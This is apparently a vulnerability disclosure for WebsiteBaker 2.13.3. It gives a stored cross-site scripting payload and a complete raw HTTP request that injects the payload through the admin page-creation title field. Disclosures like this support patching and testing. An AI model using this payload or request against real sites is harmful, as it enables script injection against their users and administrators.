WebsiteBaker 2.13.3 Cross Site Scripting

`Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)  
Application: WebsiteBaker  
Version: 2.13.3  
Bugs: Stored XSS  
Technology: PHP  
Vendor URL: https://websitebaker.org/pages/en/home.php  
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads  
Date of found: 02.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
  
1.Anyone who has the authority to create the page can do this  
payload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3E  
  
  
POST /admin/pages/add.php HTTP/1.1  
Host: localhost  
Content-Length: 137  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: null  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9  
Connection: close  
  
b7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add  
  
  
  
2. Visit http://localhost/  
  
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